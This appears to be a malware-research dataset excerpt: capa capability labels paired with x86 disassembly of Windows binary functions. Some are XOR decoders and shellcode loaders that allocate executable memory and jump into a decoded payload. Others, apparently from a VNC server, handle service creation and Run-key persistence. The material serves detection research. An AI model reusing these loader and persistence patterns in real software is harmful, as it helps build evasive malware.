joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10017ccf
pop dword [ebp - 0x4c]
mov eax, 0x10017ccf
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x6cc28516
sub dword [ebp - 0x5c], 0x1e703fcb
mov dword [ebp - 0x58], 0xebcdc17a
sub dword [ebp - 0x58], 0xb99a7535
mov dword [ebp - 0x54], 0x548edb6f
sub dword [ebp - 0x54], 0x8429741
mov dword [ebp - 0x50], 0x5b98c0a6
add dword [ebp - 0x50], 0xa4673f5a
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x96aaac4c
add eax, 0x7957a438
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xa4133b91
sub dword [ebp - 0x5c], 0x2fa0d23b
mov dword [ebp - 0x58], 0xda7704ef
sub dword [ebp - 0x58], 0x990aa37a
mov dword [ebp - 0x54], 0x5b86b44
sub dword [ebp - 0x54], 0xa248fed8
mov dword [ebp - 0x50], 0x8134cb00
sub dword [ebp - 0x50], 0x8134cb00
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x488c8bfa
sub eax, 0x388a3b7e
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c6fd
push 0
call eax
mov ecx, 0xc16ac3c6
sub ecx, 0xc16a77a7
xor edx, edx
add edx, eax
mov edi, 0x842bd975
sub edi, 0x7428cd75
add edi, dword [ebp - 0x4c]
mov esi, 0x128679f3
add dword [ebp - 0x18], eax
mov ebx, dword [edi]
mov dword [ebp - 0x34], 0x19736a85
xor ebx, esi
add dword [ebp - 0x3c], eax
mov dword [edx], ebx
add dword [ebp - 8], ebx
add edx, 4
add edi, 4
loop 0x10017de8
add eax, 0x1a1ffb22
add eax, 0xe5e1282d
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x1001c6a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c73b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c6f2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c6f2
cmp esi, ebx
jge 0x1001c6f2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c735
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c735
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c74d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc
Function at 0x1001c970
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001c998
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001c9b2
lea ecx, [ebp - 0x108]
push ecx
push eax
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022650
leave
ret 4

Function at 0x1001cb80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001cbb6
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cc15
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
lea eax, [ebp - 0x20c]
push eax
push edi
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022650
leave
ret 0x10

Function at 0x1001cc30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cc5c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cc8d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cc8b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cc8d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022650
leave
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10019832
Capabilities:
Write file on windows

Disassembly:
push ecx
push ecx
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x10019854
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
jmp 0x10019904
mov eax, dword [ebx + 0x20]
push ebp
push esi
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax]
mov dword [esp + 0xc], esi
push edi
mov edi, dword [esp + 0x24]
mov dword [esp + 0x14], edi
test ecx, ecx
je 0x10019877
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10019879
xor eax, eax
cdq
mov ebp, eax
mov eax, edx
mov dword [esp + 0x20], eax
test edi, edi
jl 0x100198f5
jg 0x1001988c
test esi, esi
je 0x100198f5
test eax, eax
jl 0x100198cc
jg 0x10019896
test ebp, ebp
je 0x100198cc
cmp edi, eax
jg 0x100198a6
jl 0x100198a0
cmp esi, ebp
jae 0x100198a6
mov ebp, esi
mov dword [esp + 0x20], edi
push ebp
push dword [esp + 0x20]
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x28]
add esp, 0xc
mov eax, dword [ebx + 0x30]
add ecx, ebp
sub esi, ebp
sbb edi, dword [esp + 0x20]
sub dword [eax], ebp
mov eax, dword [ebx + 0x20]
add dword [eax], ebp
jmp 0x100198d0
mov ecx, dword [esp + 0x1c]
test edi, edi
jl 0x100198f5
jg 0x100198da
test esi, esi
je 0x100198f5
cmp dword [ebx + 0x4c], 0
je 0x100198f5
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0xc

Function at 0x1001a978
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1001a987
pop dword [ebp - 0x28]
mov eax, 0x1001a987
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x37e32
push 0
mov eax, 0x88f29b95
add eax, 0x870f45cf
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x15dbe99
add ecx, 0xfea2849d
xor edi, edi
add edi, eax
mov edx, 0x69d7ea4d
sub edx, 0x59d3ac4d
add edx, dword [ebp - 0x28]
mov esi, 0xf368c205
add esi, 0x4c2a559
mov ebx, dword [edx]
xor dword [ebp - 0x20], edx
sub ebx, esi
mov dword [ebp - 0x14], 0x8f47318b
mov dword [edi], ebx
sub dword [ebp - 8], 0x6ef80cfb
add edi, 0xb1bf3d1f
sub edi, 0xb1bf3d1b
add edx, 0xc2e477d1
sub edx, 0xc2e477cd
loop 0x1001a9e3
add eax, 0xffab
xor ebx, ebx
add ebx, eax
add eax, 0xcdead4cd
sub eax, 0xcdead4c8
mov ecx, 0xf53c5e5d
add ecx, 0x1ac3a1a3
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x415b19
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x415b28
pop dword [ebp - 0x18]
mov eax, 0x8dfd0a50
add eax, 0x724450d8
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x332b0
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x3e6b1acf
sub ecx, 0x3e6ae0e9
mov edx, eax
mov edi, 0xc0d6b98b
sub edi, 0xc090998b
add edi, dword [ebp - 0x18]
mov esi, 0x35fce32e
sub esi, 0x2ee78d2b
mov ebx, dword [edi]
add ebx, esi
xor dword [ebp - 0x14], 0xe03bb1be
mov dword [edx], ebx
sub dword [ebp - 4], 0x6e5b451c
add edx, 4
add edi, 0x4ed57ab4
sub edi, 0x4ed57ab0
loop 0x415b82
add eax, 0xda6b
xor ebx, ebx
add ebx, eax
add eax, 0xf6091939
sub eax, 0xf6091934
mov ecx, 0x688d4d92
sub ecx, 0x684d4d92
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40e040
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b5238
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push ebx
push esi
push edi
mov eax, dword [0x4fa008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 5
push 0
push 0
push dword [ebp + 8]
mov dword [ebp - 4], 0
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40e0e5
jmp 0x40e0d1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push eax
lea ecx, [ebp - 0x50]
call fcn.0041bfd0
push 0x4f7abc
lea eax, [ebp - 0x50]
push eax
call fcn.00498928
int3

Function at 0x40e5c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b52e0
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x4fa008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x1c], ebx
mov edx, dword [ebx + 0x6c]
lea ecx, [ebx + 0x6c]
lea eax, [ebx + 0x24]
push eax
call dword [edx + 0x18]
push 0
push 0
push 0xf0
push dword [ebx + 0x7c]
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
lea edi, [ebx + 0x54]
mov ecx, edi
setne al
mov byte [ebx + 0x34], al
push dword [ebx + 0x28]
call fcn.0042af20
mov dword [ebp - 0x2c], vtable.StringStorage.0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
push 1
mov ecx, eax
call fcn.00403cc0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4cb34c
push ecx
call fcn.0049a3f0
add esp, 0xc
mov dword [ebp - 4], 1
xor esi, esi
mov edx, dword [edi + 8]
sub edx, dword [edi + 4]
sar edx, 4
xor ebx, ebx
mov dword [ebp - 0x18], edx
mov ecx, dword [edi + 0x10]
cmp edx, ecx
mov eax, ecx
cmovb eax, edx
cmp esi, eax
jae 0x40e702
push esi
lea eax, [ebp - 0x2c]
push 0x4d1938
push eax
call fcn.00403a90
mov eax, dword [edi + 8]
add esp, 0xc
mov ecx, dword [edi + 4]
sub eax, ecx
sar eax, 4
cmp eax, esi
jbe 0x40e746
mov eax, dword [edi + 0x14]
mov ecx, dword [ebx + ecx + 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x40e6f9
mov eax, ecx
lea ecx, [eax + 2]
mov dword [ebp - 0x10], ecx
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40e6d0
sub eax, dword [ebp - 0x10]
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push dword [ebp - 0x14]
push 1
push 0
push dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x18]
inc esi
add ebx, 0x10
jmp 0x40e683
cmp edx, ecx
jbe 0x40e70d
mov ecx, edi
call fcn.0042ace0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], vtable.StringStorage.0
call fcn.00403b90
mov ecx, edi
call fcn.0042ace0
mov ecx, dword [ebp - 0x1c]
push 1
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00427200
int3
Function at 0x410d00
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b5741
mov eax, dword fs:[0]
push eax
sub esp, 0x44
push ebx
push esi
push edi
mov eax, dword [0x4fa008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x14], esi
push 8
mov dword [ebp - 4], 0
mov edi, esi
mov dword [ebp - 0x1c], esi
call fcn.004971c4
add esp, 4
mov dword [ebp - 0x20], eax
sub esp, 8
mov byte [ebp - 4], 1
mov ecx, eax
push str.tvnserverApplication
call fcn.0046e5c0
mov ebx, eax
mov dword [ebp - 4], 0xffffffff
jmp 0x410d7c
push 0
push 0
push 0x4cbcd0
push reloc.WS2_32.dll_bind
lea ecx, [ebp - 0x50]
call fcn.0041eca0
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x4c]
test eax, eax
je 0x410dce
mov dword [ebp - 0x50], vtable.RegistryKey.0
cmp eax, dword [ebp - 0x48]
je 0x410db3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x44], vtable.StringStorage.0
call fcn.00403b90
jmp 0x410f44
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 4
push eax
push 0x40
push 0x22b8
push dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x410e38
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], vtable.RegistryKey.0
test eax, eax
je 0x410e15
cmp eax, dword [ebp - 0x48]
je 0x410e0e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x44], vtable.StringStorage.0
call fcn.00403b90
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1e0
call fcn.004971c4
mov edx, eax
add esp, 4
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x1c]
lea ecx, [esi + 0x24]
add eax, 0x20
mov byte [ebp - 4], 5
push dword [sym.imp.USER32.dll_MessageBoxA]
neg edi
push ecx
sbb edi, edi
mov ecx, edx
and edi, eax
push edi
push dword [esi + 0xa8]
push 0
call fcn.00413ac0
lea edi, [esi + 0x1c]
mov byte [ebp - 4], 4
push edi
mov dword [esi + 0xa0], eax
lea ecx, [eax + 0xc]
call fcn.00411090
mov ecx, esi
call fcn.0041ced0
mov ecx, dword [esi + 0xa0]
push edi
add ecx, 0xc
mov dword [ebp - 0x1c], eax
call fcn.00411010
mov ecx, dword [esi + 0xa0]
test ecx, ecx
je 0x410eb3
mov eax, dword [ecx]
push 1
call dword [eax]
test ebx, ebx
je 0x410ebf
mov eax, dword [ebx]
mov ecx, ebx
push 1
call dword [eax]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], vtable.RegistryKey.0
test eax, eax
je 0x410ee0
cmp eax, dword [ebp - 0x48]
je 0x410ed9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x44], vtable.StringStorage.0
call fcn.00403b90
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411550
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b5868
mov eax, dword fs:[0]
push eax
sub esp, 0x68
push esi
push edi
mov eax, dword [0x4fa008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], vtable.StringStorage.0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 0
push eax
push 1
mov ecx, eax
call fcn.00403cc0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4cb34c
push ecx
call fcn.0049a3f0
add esp, 0xc
mov dword [ebp - 4], 1
mov dword [ebp - 0x24], vtable.StringStorage.0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 2
push eax
push 1
mov ecx, eax
call fcn.00403cc0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4cb34c
push ecx
call fcn.0049a3f0
add esp, 0xc
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call fcn.0041cb00
test al, al
je 0x41163a
push str._service
push dword [ebp - 0x20]
lea eax, [ebp - 0x34]
push 0x4cbda4
push eax
call fcn.00403a90
add esp, 0x10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.StringStorage.0
call fcn.00403b90
push ecx
lea ecx, [ebp - 0x1c]
call fcn.0041f910
push 0
push 0
push 0x4cb34c
push 0
push 0
mov byte [ebp - 4], 4
push dword [ebp - 0x30]
mov esi, dword [ebp - 0x18]
push 1
push 2
push 0x10
push 0xf01ff
push 0x4c5414
push 0x4c5434
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edi, eax
test edi, edi
je 0x4116fc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x48]
push eax
push 2
push edi
mov dword [ebp - 0x10], 0x1388
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 1
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
test esi, esi
je 0x4116dc
push esi
call edi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x34], vtable.StringStorage.0
call fcn.00403b90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x70]
call fcn.0041bf10
push 0x4f7abc
lea eax, [ebp - 0x70]
push eax
call fcn.00498928
int3
Function at 0x411810
Capabilities:
Access peb ldr_data
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b592c
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4fa008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov edx, dword [ecx + 0xf0]
lea esi, [ecx + 0x10]
sub edx, dword [ecx + 0xec]
mov eax, 0x66666667
push dword [ebp + 8]
imul edx
lea ecx, [esi + 0x20]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esi + 0xa8], eax
mov eax, dword [ecx]
call dword [eax + 4]
mov al, byte [ebp + 0x10]
push 0x4c
mov byte [esi + 0x30], al
call fcn.004971c4
mov ebx, eax
add esp, 4
mov dword [ebp + 0x10], ebx
lea eax, [ebx + 8]
mov dword [ebp - 4], 0
mov edi, dword [esi + 0x14]
push eax
push 4
push ebx
push 0x46e520
push 0
mov dword [ebx], vtable.Thread.0
mov byte [ebx + 0xc], 0
push 0
mov byte [ebx + 0xd], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebx + 4], eax
mov dword [ebx], vtable.ListenLogServer.0
lea eax, [ebx + 0x2c]
push 1
mov dword [ebx + 0x14], vtable.SecurityAttributes.0
mov byte [ebx + 0x24], 1
push eax
mov dword [ebx + 0x28], vtable.SecurityDescriptor.0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0
mov dword [ebx + 0x18], 0xc
mov ecx, dword [ebp - 0x10]
push ecx
mov byte [ebp - 4], 2
lea eax, [ecx + 0x10]
lea ecx, [ebx + 0x44]
mov dword [ebx + 0x40], eax
call fcn.0041d1f0
lea ecx, [ebx + 0x14]
mov byte [ebp - 4], 3
call fcn.0041d8e0
push 0x2c
call fcn.004971c4
add esp, 4
mov dword [ebp + 8], eax
push 0xffffffffffffffff
push 0
push 0x10000
push edi
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.0041d300
push dword [ebx + 4]
mov dword [ebx + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0x10]
cmp eax, 0xffffffff
mov dword [ebp - 4], 0xffffffff
setne al
mov byte [ebx + 0xc], al
mov dword [ecx + 0x78], ebx
add ecx, 0xc0
call fcn.00451970
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4131d0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b5c60
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
push edi
mov eax, dword [0x4fa008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], vtable.StringStorage.0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
push 1
mov ecx, eax
call fcn.00403cc0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4cb34c
push ecx
call fcn.0049a3f0
add esp, 0xc
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.0041cb00
mov dword [ebp - 0x1c], vtable.StringStorage.0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
push eax
push 1
mov ecx, eax
call fcn.00403cc0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4cb34c
push ecx
call fcn.0049a3f0
add esp, 0xc
push str._slave
push str._controlservice
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1c]
push dword [ebp - 0x28]
push str.__s___s__s
push eax
call fcn.00403a90
add esp, 0x14
lea ecx, [ebp - 0x48]
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call fcn.0041eca0
mov edx, dword [ebp - 0x44]
test edx, edx
je 0x41330d
mov eax, dword [ebp - 0x18]
lea edi, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4132e0
sub eax, edi
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push dword [ebp - 0x18]
push 1
push 0
push str.tvncontrol
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x48], vtable.RegistryKey.0
test edx, edx
je 0x41332b
cmp edx, dword [ebp - 0x40]
je 0x413324
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x3c], vtable.StringStorage.0
call fcn.00403b90
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x1c], vtable.StringStorage.0
call fcn.00403b90
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], vtable.StringStorage.0
call fcn.00403b90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret